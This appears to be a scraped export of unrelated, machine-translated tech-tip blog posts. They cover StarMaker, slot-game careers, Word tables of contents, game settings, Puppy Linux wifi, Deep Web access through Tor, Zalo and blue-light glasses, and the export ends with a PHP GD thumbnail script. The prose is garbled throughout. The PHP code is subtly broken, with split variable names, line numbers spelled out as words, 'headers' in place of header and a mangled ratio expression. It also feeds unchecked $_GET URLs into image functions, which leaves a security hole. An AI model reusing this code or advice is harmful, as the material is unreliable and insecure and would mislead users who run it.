StarMaker To delete the post, the recording was posted in StarMaker, go to the Me section . Next, choose your uploaded recording and select the three dots.\u0026nbsp;\nNext in the share for you select Delete.\n  In the notice to delete the post, select Delete.\n  Thus, you have deleted the post / audio recording posted to StarMaker, it's simpler if you do not want to delete that post, you just need to select the Private mode for your post. With this option, you will not need to delete that clip and your followers will not see it.\nSimilar to StarMaker, you can use the Voix application to record your voice on your phone. How to record a video of karaoke with Voix on iPhone is quite simple and the sharing is similar to that on StarMaker\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYysq5qqnZa4pr6MqaasrKM%3D\n","link":"/post/how-to-delete-starmaker-posts/","section":"post","tags":null,"title":"How to delete StarMaker posts"},{"body":"The global iGaming market is expected to generate upwards of $92.9 billion in 2023 and online slots will continue to be a major contributor to these revenues.\nDo you want to get in on this lucrative industry? Here are some ideas:\n  How To Profit From Online Slots\u0026nbsp; If you are looking at entering the iGaming market and making a profit from this lucrative market, a good place to start is with slot games. You can do this by either learning how to code and develop slot games or by starting a gaming studio and hiring slot developers who can create a bunch of unique and innovative slots.\nWe will look at the pros and cons of both these strategies and give you information that will help you decide which path you would like to go follow. Whether you decide to become a slot programmer or decide to launch a slot game studio, it is important for you to learn how to develop a slot game.\nIf you don't have any programming knowledge, don't fret as creating a slot game is not very difficult. You can learn slot game development in six months or less, provided you get your knowledge from the right resources. Before thinking of your own game's concept make sure to try some free slots games, so that you can see practically how things work.\nWhy Should I Learn Slot Game Development? There is a huge demand for quality slot game developers as the top slot developers such as NetEnt, Microgaming, Play N GO, iSoftBet and Quickspin are always looking to hire slot developers. A number of niche game firms including Microsoft studio developer partners are also looking to bring in quality talent when it comes to slot development.\nSo if you are looking to get a job in the iGaming industry, we suggest you do a course on the basics of slot game development. This will give you the foundation of developing a basic slot game. If you are new to the industry, you can look for a junior position or a freelance position that will allow you to use your newly acquired slot development skills and make money.\nSlot Development Through Self-Learning If you like coding and are keen on learning slot development by yourself, then you can make use of a number of online resources that will walk you through the process of creating your own online slot.\nThere are a number of different components that go into making a successful slot game. You will have to gain sufficient knowledge in each of these areas in order to create your own slot.\nSome of the key areas that you will have to learn to include how to come up with an innovative slot theme, designing slot game art, selecting appropriate background music, learning how slot mechanics and special features work and putting together the right software to publish your slot game.\nWhile this does seem like a lot to cover, split those tasks into weekly tasks. Once you are confident with each task, move on to the next task and by the end of six months, you will be in a position to come out with your own slot game. Go ahead and play some of the top slots like Starburst, Gonzo's Quest and Guns N Roses to get a better idea of what the end result should look like.\nSlot Development Through Internships If you don't fancy learning by yourself, we suggest you look for internship roles with slot development studios. When you work in a slot development team, you can grow rather quickly as you can learn by watching and by doing. Most slot development internships are usually for 6 to 12 months which will give you a great deal of exposure.\nIf you perform well during your internship, a lot of slot development studios are happy to retain their intern and offer them a full-time position.\nSlot Development As An Entrepreneur If you have a plan to launch your own slot development studio but are not very technical with slot development, we suggest you still go through a six-month course on slot development. This will give you the basics to guide and advise your team of slot developers of what you expect from them and what you want in your branded slot games.\nSo what now? The global online slot game market is going to continue to grow exponentially in the coming years and the demand for quality slot developers will continue to increase. Learning slot game development is not as complicated as you may think. Go ahead and make the decision today to do a six-month crash course in slot development and you will benefit from it immensely.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSVlr%2BvedKlpq1ll5a6pnnDnq2epJ%2Bluqa602agp2VmYrqwutOhqg%3D%3D\n","link":"/post/how-to-learn-slot-game-development-in-6-months/","section":"post","tags":null,"title":"How to Learn Slot Game Development in 6 Months"},{"body":"In graduation thesis, thesis . indispensable for Mr. Table of Contents - helps people to grasp and move quickly to the position according to the number of pages in no time. The following article guides you how to make a table of contents in Word 2010.\n  Step 1: Determine the level of each item corresponding to the Level in the table of contents. A big title is a chapter or a post corresponding to a level 1, a smaller title corresponds to a larger level. As the example here, there is no chapter name, only part 1 is small =\u0026gt; part 2 corresponds to level 1, part 2.1 corresponds to level 2, part a corresponds to level 3:\n  Step 2: Determine the number of level levels to create in the table of contents. Default Word to 4 levels, if your document contains more than 4 levels you go to References -\u0026gt; Table of Content -\u0026gt; Custom Table of Contents:\n  A dialog box appears, enter the level level you want to display in Show Levels -\u0026gt; click OK:\n  Step 3: Assign titles in the document to their respective levels. For the process of choosing the level for each heading, you can conveniently go to View -\u0026gt; Outline:\n  The editing screen displays the Outline mode you select the title -\u0026gt; click the Outline level -\u0026gt; select the level that matches the title to create the table of contents:\n  Similarly, you assign the entire title to create a table of contents in the document with the corresponding levels:\n  Step 4: Number the page for the document before creating the table of contents to avoid page number errors. Go to the Insert tab -\u0026gt; in Header \u0026amp; Footer section select Page Number -\u0026gt; select page numbering style -\u0026gt; choose numbering position:\n  Step 5: Create an automatic table of contents. Go to References tab -\u0026gt; Table of Content -\u0026gt; select the type of display of the table of contents you want to create:\n  The result is that you have created the table of contents automatically, to move to any item in the document, you just need to hold Ctrl key -\u0026gt; left click on the item you want to move to:\n  Step 6: Customize the table of contents\n- Update the table of contents: After creating the table of contents, but you need to edit the content in the document related to the table of contents creation, to update the change, select the table of contents -\u0026gt; click Update Table :\n  The dialog box appears with the following two options:\n- Update page numbes only: Only update the page number in the table of contents.\n- Update entire table: Update all contents in the table of contents.\nFinally, click OK:\n  - In case you want to delete the table of contents, click the arrow in the table of contents -\u0026gt; select Remove Table of Contents\n  Also note that when creating the table of contents does not allow to move to the items using the Ctrl key and click you on the File tab -\u0026gt; Option:\n  The window appears under Advanced -\u0026gt; select Use CTRL + Click to follow hyperlink -\u0026gt; click OK:\n  Above is a detailed guide on how to create a table of contents in Word 2010, with the following versions such as 2013 and 2016 you perform the same operation. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYytmJuklWK8p3nCqKWtnZ6pwG61zWauqKqUYn9xfY8%3D\n","link":"/post/how-to-make-a-table-of-contents-in-word-2010/","section":"post","tags":null,"title":"How to make a table of contents in Word 2010"},{"body":"A 3 star champion in Season 2 is something many players want to have when building their squad. And the sooner the 3-star champion is found, the more likely the team will win the series and reach TOP 1.\nAnd many gamers have used the Hyper-Rolling strategy since the time they heard of it to find for themselves the earliest 3-star generals and have for themselves the strongest teams in DTCL 2.\nIn DTCL Season 1, many gamers often use this strategy in the Gunner or Assassin or Void squad. Coming to DTCL season 2, Hyper Roll strategy is also being used by many gamers because the 1-2 gold champions in this version are quite strong. So how is the fastest way to roll champion gold 3 in DTCL 9.22, please refer to the instructions below this article.\nHow to hunt rare Sacred Beast eggs easily in DTCL season 2 Want to climb quickly to the arena of Truth, skip these habits right away Some simple tips to help you climb high in the Arena of Truth Guiding the earliest 3 gold champion reroll tactics DTCL 9.22 To further simplify the Hyper Roll strategy, you should choose a combination of Powerful Beasts. After familiarizing yourself with this style of play, you can apply it to any other squad. There are two notes that you need to keep in mind if you want this strategy to work:\nRotate the squad at the right time: Certainly the game doesn't always produce the champions you need, so change the squad at the right time to be effective.\nNeed to monitor the enemy squad constantly to know which enemy is building and which team to avoid to avoid duplicate build.\nEarly game   To roll most effectively in the early stage, you only need to reroll after eating money from the first 3 round NPC. Once you have the money, do not level up, it will reduce your rate of 1 gold champion.\n  At the same time, you need to do a round of other teams to see what team they build, remember to avoid and have a plan to build your squad clearly.\nBetween game Beginning rounds 2 - 5, start storing 1 gold generals and arrange temporary teams. At this point it is likely that you will have to lose, do not lose too much blood. You should earn enough to get 50 gold before the Krugs round.\n  If you feel the team is too weak to land, then upgrade to level 5 and get a temporary damage hero to put in the team to eat Krugs at level 5.\n  After the Stone Player you will reach round 3 - 1, now you will be at level 4 with 8/10 experience if not leveled up once and will earn about 50 gold. This will be the time when you start rerolling constantly to find the 1 gold champions in the game.\n  Although the main goal now is to 3 stars so that the main generals carry a good team gold. But if the roll has 2 gold champions that can be combined with the squad, then save it to upgrade. Because your goal is to raise 3 stars for as many champions as possible, 1 or 2 gold is the same.\n  If you only lack 1 - 2 champions, it will be 1 star 3, then continue to roll, otherwise stop if you have 10 gold left. Because if you pause here, you still have gold to continue to roll next round. There will be 3 cases if you reach round 3 - 2 as follows:\nGood squad: You reach 5 levels with a full lineup with 1 3-star general and full reserves of generals waiting for upgrades. Temporary roster : You reach 5 levels with a full 2 ​​star squad and have a champion waiting for 3 stars in the reserve. Bad squad: You reach level 5 and there are only a few 2 star champions waiting on the field and the bench has nothing (others are also Hyper Roll with you). Late Game   In the round 3 - 2 until you meet the Wolf, you will have to pause reroll to get the necessary generals until round 4 - 1. If you do not have a 3 star star then spend about 20 gold to reroll out a 3 or more generals is better.\n  Starting in round 4 - 2, you will have around 12/20 experience points and can level up to 6 to increase the rate of having 5 gold in the store. From now on, you can play normally without reroll unless you encounter a strong opponent. If you have a lot of money and less health then roll on to increase your champion.\n  If in round 4 - 1 you already have a 3 star general and find your team strong enough, you can keep accumulating money until you reach level 7. Then use the money to find the 5 gold general and rotate the squad to the end of the game.\nBased on the above 3-star general reroll instructions, gamers can roll out the fastest 3-star champion from the beginning to the middle of the game and take advantage of other competitors.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqfoblur8eapKmhn6PAbn%2BMrKuaqqNivra1wqSjsmWZo3qivsSnmGanlmLBs8HToWSsnZGovK95kWafsqiVp7%2BwuMuipaA%3D\n","link":"/post/how-to-roll-champions-3-stars-quickly-in-arena-of-truth-season-2-hyper-rolling/","section":"post","tags":null,"title":"How to roll champions 3 stars quickly in Arena of Truth season 2 (Hyper-Rolling)"},{"body":" This is a walkthrough of wireless (IEEE 802.11 also known as WiFi) home networking with Puppy Linux using the graphical networking wizard. If your router isn't new, then turn it on and skip to 'Detecting your wireless adapter' (below)....\nMethod 1of 3:\nSet up your new router  Plug your router into your internet socket if you want to share your internet.\n  Plug your router into your PC with an ethernet cable.\n  Go to your browser and type in the address \"http://192.168.0.1 192.168.0.1\" or \"http://192.168.2.1 192.168.2.1\", or \"http://192.168.1.1 192.168.1.1\".\n  Enter your user name and password from your router (often \"admin\" and \"admin\") then your internet service provider.\n  Enable wireless and set your encryption (WPA as a minimum, WEP can be cracked in seconds) use AES encryption if you have it available, skip if you do not. and type a memorable passkey that is at least 64 characters. It's a hassle, but you only have type it a few times.\n Method 2of 3:\nDetecting your wireless adapter  Click the \"Connect\" icon on your desktop.\n  In the \"Connect\" box, click \"Connect to Internet by network interface\". If under \"Interfaces\" (or \"Driver Modules\" if Puppy 2 series) a wireless device appears skip to \"Connecting to a network\" (below).   Click \"Load module\", choose automatic and click OK, if this is successful skip to \"Connecting to a network\" (below). If your wireless adapter isn't found automatically, find the manufacturer and model, choose it from the list and click OK. If your wireless adapter isn't on the list, check WirelessWorking for a list of cards which may work with Puppy. If your wireless adapter isn't on the list, choose \"ndiswrapper\" from the list and choose your Microsoft Windows driver (.inf file) and click OK until you return to the Network setup screen.   Click \"Save\".\n Method 3of 3:\nConnecting to a network  Under \"Interfaces\", click on the newly detected wireless adapter.\n  Click on the \"Wireless\" button.\n  Click on \"Scan\" (this may take a number of attempts), choose your own network (find your manufacturer and model), then click OK.\n  Choose your \"Encryption\" by clicking on \"WEP\" or \"WPA/skip, then enter your passkey where it says \"Provide a key\".\n  Click \"Use This Profile\".\n  Click \"Auto DHCP\" (or \"Static IP\" and enter the IP addresses manually if \"Auto DHCP\" doesn't work) then you are connected.\n  Click \"Save\" and this connection will be launched at every boot.\n  If everything works, and you can check by opening Google in a browser, then click Done.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyaZLChopq5pr%2FSZqWerKekv6x5yKdkqa2gpcZuuMinrLE%3D\n","link":"/post/how-to-set-up-a-wireless-network-in-puppy-linux/","section":"post","tags":null,"title":"How to Set up a Wireless Network in Puppy Linux"},{"body":"If you are a gamer, it is certainly not strange with the game League of Legends or also abbreviated with the English name LOL (League of Legends), this can be considered the most successful online game today. when the number of players is enormous. Thanks to LOL, it doesn't require you to own a computer with high configuration, you can play it even on medium-sized laptops that are still smooth. However, if your computer is only low configuration, it will also have difficulty playing smoothly this game. So in the following article TipsMake.com will guide you to customize some settings in the game to be able to increase FPS and play LOL more smoothly on low-profile devices. Please refer.\n  1. Customize the League of Legends Client For those of you who don't know what the Client is, the picture below is the client for LOL:\n  The client is where you view account information, profile, collection, store, etc. is where you choose the game mode and the champion before the game.\nAs you know when we enter the game, the client is still running and will take up part of your computer's resources. This may be the reason why our loading time is longer and sometimes makes the game lag.\nTo automatically turn off the Client when entering a match, we do the following:\nYou click on the gear settings icon in the upper right corner of the Client to install. In the settings window in the Overview section, tick the 2 lines that are on Low configuration mode and Disable the client during the battle. Next you should choose the lowest window size that is 1024x576, finally you click Done to save.\n  2. Custom in the match After installing in the client, we will continue to install the graphics in the match. You should go to the gym to install to avoid affecting the match.\nYou open the settings in the match and select Photos.\nThe first is the resolution, you should choose the lowest resolution possible, but also should not be too low to affect visibility. The mode item you choose Borders Check the item Hide face (the redundant details will be turned off) The graphics you dragged down to Very low. Section Shadows you select Off (this is important), weak machines should turn off this shading function will help reduce lag. Finally, click Okay to save.\n  3. Custom graphics in the LOL file system You open the folder containing game LOL and then navigate to the Config folder as shown below (maybe each device will be stored in a different folder, the game lol folder will be named 32787).\nAfter finding the Config folder, right-click on the game.cfg file and select Open with\n  Next select Notepad and click OK\n  After the game.cfg file is opened, go to the performance section , you change all the values ​​of the items to 0, except for two items, ShadowsEnabled and FrameCapType , you keep the value. For the EnableParticleOptimizations section, you change the value to 1.\n  Next, you drag down the bottom press Enter down the line and add the following command line to reduce lag:\n[UnitRenderStyle] Inking = 0 AdvancedReflection = 0 EnableGrassSwaying = 0 PerPixelPointLighting = 0    Finally, press Ctrl + S to save and turn off this window.\nIn the next step, right-click on the game.cfg file and select Properties (the last line), then a new window will appear, select the Read-only option and click OK\n  Now you can go into the game and feel if the game has less lag lag yet.\nAlso to play the game as smoothly as possible, you should turn off other programs during the game, especially the browser you should not go to Facebook while playing games because facebook will consume a lot of RAM of the computer.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2Bv0Z6YrJ1dm720ecuoo2agn6x6tbuMoqWcqpWWwKZ506GcZqSVnLKvsMCrsGaklZa0trGMqJ1mnqCoeqitzJ5kraddpbmixYyspKinpJ25unnOp2Slp6elv7CyyKWcZqWRmLWqusSs\n","link":"/post/increase-fps-lol-how-to-increase-the-legendary-league-of-fps-game-to-play-smoothly-on-low-profile-machines/","section":"post","tags":null,"title":"Increase fps lol - How to increase the legendary League of FPS game to play smoothly on low-profile machines"},{"body":"Deep Web is a place for those who are passionate about exploring the Internet. Unlike the Wide Web, Deep Web is much more dangerous when we use it. Usually users will not have access to the Deep Web for anything. Only those curious, who want to explore the Internet world, can access the Deep Web. In this article, Software Tips will guide you how to access Deep Web safely.\n  I. Preparation Accessing the Deep Web carefully is the best way for you to avoid the scrutiny of Web sites. If you happen to be in the process of preparation, surely the information related to you will be continuously exploited by bad guys and make your turn.\n  1. Browser Talking about the browser for Deep Web, there is no browser more secure than Tor (garlic, onion). The Tor browser is pre-programmed with a multi-national IP emulation system to hide your real IP address. Since then, those who want to do bad to you will not know who you are? Where? To take advantage. If you do not use the Tor browser, then you must use other Fake IP tools to protect your maximum safety. But it takes time and effort. Instead, simply install the Tor browser with a few basic steps.\nLink Download: https://www.torproject.org/\nInstalling Tor browser is very simple. You just need to install like other software. Nothing hard at all.\n  2. Turn off connecting the Microphones When you access the Deep Web, you will not know that you are being monitored at all. To protect yourself, it is best to turn off the microphone. Unlike the normal Micro off on the machine, to ensure safety you should completely unplug the Micro jack.\n3. Turn off the Webcam connection Webcam is also the tool that bad guys want to use to spy on you. With Webcam, bad guys can take photos of you at any time, tracking your actions. This makes us very exposed to bad guys and easily threatened. You disconnect the webcam completely from the computer.\n  4. Anonymous Incognito here does not mean using Incognito Tab but using virtual information about yourself. Absolutely when using the Deep web you do not provide any true information related to yourself. Especially your account number, card, identity card, .\nIf you need to enter Email, use the lesser known Email providers such as Zoho or yandex.\n5. Turn off Javascript on the Tor browser Don't think that Tor browser is absolutely safe tool when accessing DeepWeb. To access DeepWeb we should turn off Javascript to avoid showing notices and collecting personal data.\nStep 1: Click on the Shield icon and select Advanced Security Settings .\n  Step 2: Then you choose Safest ( Safest ).\n  Step 3: After that you will see the Dark Shield symbol that has succeeded!\n  II. How to search DeepWeb There are many search engines DeepWeb can use, But the search engine from Onion is the most effective.\nLink: hss3uro2hsxfogfq.onion\nDo not try to access using a normal browser such as Chrome, Firefox . because it will immediately report an error.\n  After accessing you can enter the keywords you want to search (English) into the toolbar to find DeepWeb.\n  Thus, Software Tips have shown you how to access Deep Web safely. I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnEp6ueql2ptaZ5w56cqWWnmq9uv8CfnKWx\n","link":"/post/instructions-on-how-to-enter-the-deep-web-safely/","section":"post","tags":null,"title":"Instructions on how to enter the Deep Web safely"},{"body":"Combining beautiful, diverse and impressive photo frames, PNG format for you to use Photoshop collage.\n  Funny photo frames\n  Beautiful square photo frames\n  Beautiful wedding photo frames\n  Beautiful frames as cover photos\n  The most beautiful wedding picture frames\n  Beautiful and unique picture frames\n  Beautiful frames for photoshop\n  Cute beautiful frames for photo collages\n  Cute beautiful frame\n  The most beautiful and unique frames\n  Beautiful and unique frames\n  Beautiful double frames for photo collage\n  Beautiful double frames as a collage\n  Double frame as a collage\n  Wedding photo frame\n  Photo frame collage avatar\n  Beautiful collage frames\n  Beautiful collage frames\n  Cute collage frames\n  The most beautiful collage frame\n  Beautiful and unique collage frames\n  Lovely unique collage frame\n  Beautiful unique collage frame\n  Unique collage frames\n  Beautiful paired frames\n  Free collage frames\n  Beautifully decorated collage frames\n  Children frame double\n  The most beautiful round frame\n  Beautiful square frames, unique\n  Very beautiful collage frame\n  Beautiful collage templates\n  Template of beautiful png picture frame\n  Template beautiful photo frame psd\n  Beautiful cute frames\n  The most beautiful and unique photo frames\n  Beautiful frames\n  Round floral photo frames\n  Beautiful round photo frames\n  Beautiful square photo frames\n  The most beautiful collage frames\n  Beautiful collage frames\n  These beautiful wallpaper frames\n  Download beautiful photo frames\n  Download beautiful collage frames\n  Create beautiful photo frames\n  Create beautiful collage frames\n  Create beautiful collage frames\n  Synthetic beautiful frames\n  Decorate beautiful photo frames\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcraGTYq%2BmrdStoJ%2BtnGK9qq%2FTrqmeZZanrq6x0madqKpdpbWwwM6sn6io\n","link":"/post/synthetic-beautiful-picture-frames-for-photoshop/","section":"post","tags":null,"title":"Synthetic beautiful picture frames for Photoshop"},{"body":"Zalo - a late launch application, but is taking the No. 1 position not only on the Vietnam App Store rankings, but also in the users themselves? A \"pure Vietnamese\" product has defeated all competitors as technology powers.\nInstructions for using Zalo Web right on the browser Zalo lock to secure personal information What is the latest Zalo on additional computers? Zalo - Vietnam's No. 1 free messaging and calling application Talking about OTT applications in general, and messaging applications, free phone calls over the Internet in general, can not fail to mention Zalo. The product is completely branded Vietnam, is \"dominating\" the App Store rankings and is the No. 1 application among users.\n  It is a question that Zalo development team may find difficult to answer immediately. If you find out about the product\u0026nbsp; This 'homegrown' , will probably be surprised by many people that Zalo started with the car crash, applied the web version, Zalo development team has pushed itself into a mysterious position, making the product debut standing on the edge of the abyss. But shortly thereafter, the group realized the mistake and changed tactics, focusing on the goal of helping users with free and fast text messaging in the context of weak telecommunications infrastructure in Vietnam. However, only half a year later (January 2013), this pure Vietnamese application knocked out the giant who was dominating the chart at the time, WeChat.\nDownload Zalo for free for your computer Zalo 's competitors were most prominent then Wechat, Viber, Line and Kakao Talk . However, Line and Kakao Talk do not really focus on the purpose and needs of Vietnamese users, Viber does not have video calling function. As for Wechat, the phrase 'climb higher, more painful falls' is indeed true of this Chinese application. Taking advantage of its large customer base and its irreplaceable position, WeChat has implicitly integrated the ' U- shaped line' into the product, which has met with tremendous opposition, making WeChat Being 'wiped out' almost immediately in OTT Vietnam market. At this moment, Zalo returned with new changes and improvements in products hitting the Vietnamese market.\n  If you look at it, the latest member of the \"big family\" of OTT is nothing outstanding, even less so than its siblings, however, deep inside, if the other applications Only works on smartphones with Wifi or 3G stable, Zalo can run well even with 2G, 2.5G right on the 'popular' touch phones. Because of this reason, Zalo becomes friendly, approachable and suitable for Vietnamese users at that time, when smartphones cost up to ten million dong.\nDownload Zalo for iOS for free Download Zalo for free for Android Download Zalo for Windows Phone for free Looking back at the development process, was first launched in August 2012, Zalo almost hidden the \"siblings\" before. When no one believed that Vietnamese products could defeat technology powers like China, South Korea or Japan, it was only about 6 months later, 'the dream of the Don-sots guys' was created. The unprecedented Revolution, a spectacular overthrow with not only the Line or Viber, but with the \"invincible tycoon\" WeChat, is taking the No. 1 position on the App Store Vietnam According to the latest survey, Zalo ranked No. 2, just behind Facebook on the number of users by 3G, which shows that Zalo is the only domestic OTT in the top of OTT users 3G.\n  Can point out some outstanding features, and can also be considered as the reason for success of Zalo as follows:\nFree messaging is extremely fast and extremely stable. Compatible with current phone operating systems, even Symbian and Nokia. This helps expand the customer base, not only in Vietnam. Connect well with rich Zing , Facebook , and \"free \" social networks. Perfectly suited to Vietnamese users. Continuous updates to improve product quality. High community interaction, helps Zalo quickly spread in the user community.   No one, not even Zalo's 'father' could suspect that, in such a short time, his 'child' could be so successful. Perhaps, it is through perseverance, the power of faith and the desire to win, that a product that once stood on the brink of victory over the giants and brought the people of Vietnam closer to the dream of property. Domestic technology products will be on par, even surpassing similar products of the world, something no one dares to think, until Zalo does it.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKucmqufo8Buss6rZKytk5iytL%2BMqJ1mspGhvA%3D%3D\n","link":"/post/the-reasons-for-success-of-zalo/","section":"post","tags":null,"title":"The reasons for success of Zalo"},{"body":"According to recent research, about 50 to 90% of people who use computers for more than 3 hours a day often have problems with their eyes, brain, neck and circadian rhythm. The main reason comes from the blue light emitted from the screens of electronic devices. Common symptoms include pain, fatigue, eye aches, headache, neck pain, sleep disorders and even macular degeneration.\nThese symptoms are collectively known as Computer Vision Syndrome (CVS). They are silently affecting our lives, but many people tend to disregard, ignore them and will pay dearly when it's too late.\n Blue light from computer screens and phones seems harmless but is a cause of many health problems.\nA number of solutions have been put in place to mitigate this problem, the most common of which is the blue light filtering feature built into devices such as phones and computers. However, this is only a temporary solution, does not work completely.\nKnowing this, Barner - a Spanish-based startup has developed special glasses, also named Barner, which allows 100% of the blue light to be emitted from the screen of electronic devices, Full user protection from related issues.\n In fact, this is the company's second product, called Barner 2.0. It has both the advantages of the previous generation and a more affordable price to reach more people. Therefore, Barner's capital raising project was completed in just one day and put on Kickstarter and promises to receive more contributions in the near future.\n Simulate the ability of Barner 2.0 to filter blue light.\nAbout Barner 2.0, the glasses have two frames to choose from, one square to fit the male and one soft round to suit the female. These two designs are designed in the style of London and Paris, bringing a sense of more fashionable but still good use in everyday life.\n Barner 2.0 with square glasses .\n . and this is the round form.\nVersion 2.0 is different from the previous generation in that the frames are now more flexible, cheaper materials but still good enough, increase grip on the bridge of the nose and fit snugly with many head sizes. In addition to the current 4 colors are black, pink, army green and 'turtle shell' with black / brown spots covering the rim. Barner will unlock new color versions when reaching the full stretch goal within the call period.\n The most special thing about Barner 2.0 is the high-quality glass, which not only scratches, breaks, dust and water, it also filters 40% of the blue light in the harmful spectrum and 100% blue light. at 410nm. The key to Barner doing this lies in the exclusive coating on each of their own developed lenses.\n The accessories that come with each Barner 2.0 include the same color case, soft cloth for cleaning glasses and a neck strap.\nIn addition, Barner 2.0 version also has an optional sunglasses for about 20 euros, attached directly to the frame to quickly turn ordinary glasses into stylish sunglasses. That is, you only need to buy 1 frame can be used indoors and outdoors.\n Clip-on sunglasses are also an attractive accessory in recent times.\nCurrently, each Barner 2.0 is being sold for from 39 Euro, equivalent to more than 1 million. If you want more sunglasses, you will have to spend 1.6 million. Larger packages are also available at a cheaper price of 1250 Euro for 25 pairs of sunglasses + frames, equivalent to over 1.3 million VND. If you are nearsighted, confused or farsighted, you can also register for a test to buy the right type for 30 Euro. Products are expected to be delivered from February 2019.\nFor other information about Barner 2.0, you can see more at the capital call page on Kickstarter.\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWknbJuvMSrnZ6bpGK0ra3SrGSfp6JivKeyyJycZq%2Bfp7imvtJmrqGnXaW5trPGnptmoZ5iwamxyKtknKedpcK1sdGsZJqknGKxosU%3D\n","link":"/post/this-is-the-perfect-glass-for-office-workers-who-plugged-in-their-computers-all-day/","section":"post","tags":null,"title":"This is the perfect glass for office workers who plugged in their computers all day"},{"body":"TipsMake.com - In essence, there are many websites hosting separate photo libraries and shared designs, all embedded in the page with thumbnail images, the purpose of this is when If users click on each thumbnail, the website will display the original image with larger size. We can easily implement this process using HTML anchor tags (surrounded by HTML image tags (    . But how to get the thumbnail from the original image of a large size? And how to ensure the aspect ratio of the original image? In the following article, we will cover some basic steps for you to perform this process with PHP, and specifically PHP's GD library. Some other basic information, you can refer here.\nHow does PHP's image processing mechanism work? Specifically, inside the PHP code we can see two different types of images. One is the string of 'representative' binary data for the image, and these are also the data we store on the server's file system, which is used within the syntax of the HTML tag    . When you want to display other sizes of images, we need to initialize a new appearance method accordingly. Fortunately, the GD library allows users to create PHP resources to support this feature very well. GD's built-in functions allow users to easily implement this process similar to using query databases about related resources. At the end of this, the system is ready to save and display the image, then the rest of PHP is responsible for returning the source data into a binary string.\nHere is an example code in this case:\nfirst 7 8 9 ACQUIRE THE ARGUMENTS - MAY NEED SOME SANITY TESTS? 10 $ thumb_w = $ _GET [\"w\"]; 11 $ thumb_h = $ _GET [\"h\"]; 12 $ image_url = $ _GET [\"img\"]; 13 14 // CREATE THE THUMBNAIL IMAGE RESOURCE AND FILL IN TRANSPARENT 15 $ thumb = imagecreatetruecolor ($ thumb_w, $ thumb_h); 16 imagesavealpha ($ thumb, TRUE); 17 $ empty = imagecolorallocatealpha ($ thumb, 0x00,0x00,0x00,127); 18 imagefill ($ thumb, 0, 0, $ empty); 19 20 // GET ORIGINAL IMAGE DIMENSIONS 21 $ array = getimagesize ($ image_url); 22 if ($ array) 23 { 24 list ($ image_w, $ image_h) = $ array; 25} 26 else 27 { 28 die (\"NO IMAGE $ image_url\"); 29} 30 31 // ACQUIRE THE ORIGINAL IMAGE 32 $ image_ext = trim (strtoupper (end (explode ('.', $ Image_url)))); 33 switch (strtoupper ($ image_ext)) 34 { 35 case 'JPG': 36 case 'JPEG': 37 $ image = imagecreatefromjpeg ($ image_url); 38 break; 39 40 case 'PNG': 41 $ image = imagecreatefrompng ($ image_url); 42 break; 43 44 default: die (\"UNKNOWN IMAGE TYPE: $ image_url\"); 45} forty six 47 // GET THE LESSER OF THE RATIO OF THUMBNAIL H OR W DIMENSIONS 48 $ ratio_w = ($ thumb_w / $ image_w); 49 $ ratio_h = ($ thumb_h / $ image_h); 50 $ ratio = ($ ratio_w $ ratio_w: $ ratio_h; 51 52 // COMPUTE THUMBNAIL IMAGE DIMENSIONS 53 $ thumb_w_resize = $ image_w * $ ratio; 54 $ thumb_h_resize = $ image_h * $ ratio; 55 56 // COMPUTE THUMBNAIL IMAGE CENTERING OFFSETS 57 $ thumb_w_offset = ($ thumb_w - $ thumb_w_resize) / 2.0; 58 $ thumb_h_offset = ($ thumb_h - $ thumb_h_resize) / 2.0; 59 60 // COPY THE IMAGE TO THE CENTER OF THUMBNAIL 61 imagecopyresampled 62 ($ thumb 63, $ image 64, $ thumb_w_offset 65, $ thumb_h_offset 66, 0 67, 0 68, $ thumb_w_resize 69, $ thumb_h_resize 70, $ image_w 71, $ image_h 72) seventy three ; 74 75 // SHOW THE NEW THUMB IMAGE 76 headers ('Content-type: image / png'); 77 imagepng ($ thumb); 78 79 // RELEASE THE MEMORY USED BY THE RESOURCES 80 imagedestroy ($ thumb); 81 imagedestroy ($ image);\nExamples of use cases:\nWhen looking at the example code above, specifically the 6th line, we can completely put this code into the HTML image tag. Technically, the above code will perform three main functions (from line 9 - 12), the img function is the URL of the image, and the parameters w and h represent width - width and high - high . When applied to specific programs, if the user wants to filter these values, make sure the URL is pointed to the original image, and the parameters w and h are the values real.\nThe process of creating a data source of a thumbnail: Our first step is to create a data source of this thumbnail image (lines 15 - 18), specifically using the imageCreateTrueColor () function to create with size parameters in pixels taken from the love function GET request. By default, the image is covered with black pixels, but the user wants to make the background transparent, so we will continue to use the imageSaveAlpha () function to send 'notifications'. 'Go to the GD library and use the whole alpha channel, besides the imageColorAllocateAlpha () function when sending to the original image and when returned, we will receive the signal of the transparent background image. You can refer here:\nhttp://php.net/manual/en/function.imagecreatetruecolor.php http://php.net/manual/en/function.imagesavealpha.php http://php.net/manual/en/function.imagecolorallocatealpha.php http://php.net/manual/en/function.imagefill.php\nWhen the original part of the thumbnail image is complete, we will continue with the original image. First, get the width and high information of the image with the getImageSize () function, if you get an error in this step, review the direct path of the image, or the file that is pointing to is not an image file. In any case, if the function of this function fails, the next section of code cannot continue, so check carefully at this step (codestream 20-30).\nYou can refer to more details here:\nhttp://php.net/manual/en/function.getimagesize.php\nThe next step requires the file format to be sent from the user. Technically, PHP will use different functions to create source images from different supported formats, in particular the input files will be JPG and PNG , besides GIF and BMP (see line of code 32). Then apply the switch / case control structure to choose the right imageCreateFrom function ( codestream 33 - 45). In case you want to recover or improve error handling, refer to the example of ImageCreateFromJPEG function here:\nhttp://php.net/manual/en/function.imagecreatefromjpeg.php http://php.net/manual/en/function.imagecreatefrompng.php\nCalculate size and alignment with thumbnail images: At this step, we will switch to the calculation of the required size of the thumbnail image compared to the original standard size (codestream 47 - 50). Because the user wants to keep this aspect ratio, and so you will apply a way to shrink this ratio, instead of changing it (line 52 - 54). Specifically, here we will make this part of the thumbnail in the middle of the transparent processed 